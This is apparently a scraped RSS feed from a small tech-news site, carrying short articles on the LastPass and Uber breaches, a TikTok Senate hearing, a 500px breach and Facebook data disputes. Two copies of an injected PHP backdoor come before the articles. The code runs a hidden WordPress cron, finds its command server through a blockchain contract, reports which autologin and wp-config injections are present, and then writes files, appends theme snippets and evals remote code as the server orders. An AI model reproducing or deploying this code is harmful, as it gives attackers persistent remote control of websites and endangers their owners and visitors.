// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); user – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 17 Sep 2022 10:50:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png user – Brief News https://briefnews.eu 32 32 LastPass was hacked, but it says no user data was compromised https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/ https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/#respond Sat, 17 Sep 2022 10:50:29 +0000 https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/ In August, LastPass had admitted that an "unauthorized party" gained entry into its system. Any news about a password manager getting hacked can be alarming, but the company is now reassuring its users that their logins and other information weren't compromised in the event.

In his latest update about the incident, LastPass CEO Karim Toubba said that the company's investigation with cybersecurity firm Mandiant has revealed that the bad actor had internal access to its systems for four days. They were able to steal some of the password manager's source code and technical information, but their access was limited to the service's development environment that isn't connected to customers' data and encrypted vaults. Further, Toubba pointed out that LastPass has no access to users' master passwords, which are needed to decrypt their vaults.

The CEO said there's no evidence that this incident "involved any access to customer data or encrypted password vaults." They also found no evidence of unauthorized access beyond those four days and of any traces that the hacker injected the systems with malicious code. Toubba explained that the bad actor was able to infiltrate the service's systems by compromising a developer's endpoint. The hacker then impersonated the developer "once the developer had successfully authenticated using multi-factor authentication." 

Back in 2015, LastPass suffered a security breach that compromised users' email addresses, authentication hashes, password reminders and other information. A similar breach would be more devastating today, now that the service supposedly has over 33 million registered customers. While, LastPass isn't asking users to do anything to keep their data safe this time, it's always good practice not to reuse passwords and to switch on multi-factor authentication.

]]> https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/feed/ 0 Uber finds ‘no evidence’ that sensitive user data was stolen in hack https://briefnews.eu/uber-finds-no-evidence-that-sensitive-user-data-was-stolen-in-hack/ https://briefnews.eu/uber-finds-no-evidence-that-sensitive-user-data-was-stolen-in-hack/#respond Sat, 17 Sep 2022 01:56:46 +0000 https://briefnews.eu/uber-finds-no-evidence-that-sensitive-user-data-was-stolen-in-hack/ The intruder who claims to have hacked Uber might not have done much damage. The ridesharing firm has determined that there's "no evidence" the perpetrator accessed sensitive user data, such as trip histories. All services are functioning properly, and the company has restored the use of internal software it took down upon discovering the breach.

Uber didn't say more about the reported culprit or the nature of the incident. Bleeping Computer says it has seen screenshots from the hacker that purport to show Uber's IT resources, including its Amazon Web Services console, Google Workspace dashboard and virtual machines. The perpetrator also gained access to Uber's bug bounty program, suggesting they might be aware of security holes the company hasn't necessarily fixed.

Account info appears to be safe. However, there are concerns the attacker might have access to source code, or could sell the bounty data to other hackers who might use vulnerabilities for their own campaigns. There may be fallout in the days ahead, even if Uber passengers don't have any immediate reasons to worry.

]]> https://briefnews.eu/uber-finds-no-evidence-that-sensitive-user-data-was-stolen-in-hack/feed/ 0 Lawmakers press TikTok about China and user data in Senate hearing https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/ https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/#respond Thu, 15 Sep 2022 03:58:25 +0000 https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/ Top executives from Meta, Twitter, YouTube and TikTok just wrapped up a three-hour hearing in front of the Senate Homeland Security Committee. The hearing, which featured Meta CPO Chris Cox, YouTube CPO Neal Mohan, TikTok COO Vanessa Pappas and Twitter’s GM of consumer product (known as “Bluebird”), was meant to be focused on how their services impact national security issues.

Notably, the hearing is only the second time representatives for TikTok and YouTube had ever appeared at such a hearing — Meta and Twitter execs have been hauled in front of Congress far more often — and the first dedicated to security. The hearing also came one day after Twitter’s former security chief turned whistleblower told a different Senate committee that the company had been previously warned by the FBI it had a Chinese spy on its payroll. Yet not one senator on the Homeland Security Committee asked Sullivan about the allegation.

To be clear, Sullivan was unlikely to have given a substantive answer. When asked about whistleblower Peiter Zatko’s claim that Twitter lied to the FTC, he would only say that “Twitter disputes the allegations." But it was still somewhat shocking that the issue was not raised in a hearing dedicated to social media platforms' impact on national security. 

Lawmakers did, however, spend considerable time questioning Pappas on TikTok’s connections to China, which has long been a source of suspicion among lawmakers on both sides of the aisle."TikTok does not operate in China,” Pappas said more than once.

At one point, Sen. Josh Hawley got into a heated exchange with Pappas over whether the company has China-based employees who are members of the Chinese Communist Party. “We've said many times, Senator, that we do have Chinese engineers based in China,” Pappas said. “I don't think there's any platform up here that would be able to speak to what you're talking about as it relates to the political affiliation of an individual.” She later added that the company’s leadership team is based in the United States and Singapore.

Pappas was also asked about a BuzzFeed News story that TikTok user data had been repeatedly accessed by employees based in China. She said that “those allegations were not found,” and emphasized the company’s “strict access controls” and its work with Oracle.

The TikTok COO was also questioned about the app’s use of biometric data. “We do not use any sort of a facial, voice, audio or body recognition that would identify an individual,” Pappas told Sen. Kristen Sinema. She added that facial recognition is used for augmented reality effects in creators’ videos.

There was a lot less discussion of other security-related issues, including social media companies’ handling of domestic extremism. Committee Chairman Sen. Gary Peters pressed Cox and Mohan and why Meta and YouTube didn’t crack down on QAnon more quickly. Both side-stepped the question by focusing on their current policies. Other lawmakers chose to spend their time questioning the companies about their handling of vaccine misinformation during the pandemic and other content moderation issues. 

And, as with previous hearings, the executives were often reluctant to provide specific answers even to seemingly straightforward questions. Peters repeatedly asked each executive how many engineers each company had on staff — a question he said they were notified would be coming in advance — but none would give a direct answer. “I'll be honest, I’m frustrated that chief product officers — all of you have a prominent seat at the table where these business decisions are made — were not more prepared,” Peters said. “Your companies continue to really avoid you sharing some very important information with us.”

]]> https://briefnews.eu/lawmakers-press-tiktok-about-china-and-user-data-in-senate-hearing/feed/ 0 500px reveals 2018 breach that exposed user data https://briefnews.eu/500px-reveals-2018-breach-that-exposed-user-data/ https://briefnews.eu/500px-reveals-2018-breach-that-exposed-user-data/#respond Wed, 13 Feb 2019 06:58:53 +0000 http://briefnews.eu/500px-reveals-2018-breach-that-exposed-user-data/

Photo-sharing platform 500px has revealed that it suffered a security breach that exposed its users’ data and profile information. While the company’s engineers have only just discovered the unauthorized entry, it actually happened way back on July 5th, 2018 — just a few days after the company closed its in-house Marketplace that helped photographers sell their work. Simply put, everybody who signed up for a 500px account on or before that day has been compromised.

According to the company the breach exposed users’ first and last names, usernames, the email addresses they used to create their accounts, a hash of their passwords and their birthdates. It also compromised their gender and their city/state/province/country if they chose to provide them. Thankfully, 500px found no evidence of unauthorized entry into users’ accounts and no evidence that the breach exposed data other than the ones it listed. People’s credit card details were apparently left untouched.

In its announcement, the company said it’s monitoring its source codes to protect against further security issues. It also promises to upgrade its security measures and network infrastructure. 500px has started sending out emails to all its users, asking them to change their passwords, and it’s offering to send them all their data on file within 72 hours if they email help[@]500px.com with a request.

Via: CNET

Source: 500px

]]> https://briefnews.eu/500px-reveals-2018-breach-that-exposed-user-data/feed/ 0 Facebook “weaponized“ user data, app developer’s new lawsuit claims https://briefnews.eu/facebook-weaponized-user-data-app-developers-new-lawsuit-claims/ https://briefnews.eu/facebook-weaponized-user-data-app-developers-new-lawsuit-claims/#respond Fri, 07 Dec 2018 22:47:59 +0000 http://briefnews.eu/facebook-weaponized-user-data-app-developers-new-lawsuit-claims/
Facebook co-founder, Chairman and CEO Mark Zuckerberg departs after testifying before a combined Senate Judiciary and Commerce Committee hearing in the Hart Senate Office Building on Capitol Hill, April 10, 2018, in Washington, DC.

Enlarge / Facebook co-founder, Chairman and CEO Mark Zuckerberg departs after testifying before a combined Senate Judiciary and Commerce Committee hearing in the Hart Senate Office Building on Capitol Hill, April 10, 2018, in Washington, DC. (credit: Win McNamee/Getty Images)

In recent weeks, a dust-up between the maker of a forgotten Facebook bikini app and the social media giant has been boosted by a high-profile fight involving the British Parliament.

On Friday, both sides in the Six4Three v. Facebook lawsuit, which alleges breach of contract, appeared before a San Mateo County judge for the second time in a week in a hearing that dragged on for over three hours.

However, Six4Three’s recent court filings show that its lawyers are also involved in a second lawsuit brought by a different company—one that promoted breast cancer awareness, among other apps—that levies very similar allegations against Facebook.

Read 32 remaining paragraphs | Comments

]]> https://briefnews.eu/facebook-weaponized-user-data-app-developers-new-lawsuit-claims/feed/ 0 Facebook pondered, for a time, selling access to user data https://briefnews.eu/facebook-pondered-for-a-time-selling-access-to-user-data/ https://briefnews.eu/facebook-pondered-for-a-time-selling-access-to-user-data/#respond Thu, 29 Nov 2018 11:11:11 +0000 http://briefnews.eu/facebook-pondered-for-a-time-selling-access-to-user-data/
Facebook co-founder, Chairman, and CEO Mark Zuckerberg testifies before a combined Senate Judiciary and Commerce Committee hearing in the Hart Senate Office Building on Capitol Hill, April 10, 2018, in Washington, DC.

Enlarge / Facebook co-founder, Chairman, and CEO Mark Zuckerberg testifies before a combined Senate Judiciary and Commerce Committee hearing in the Hart Senate Office Building on Capitol Hill, April 10, 2018, in Washington, DC. (credit: Chip Somodevilla/Getty Images)

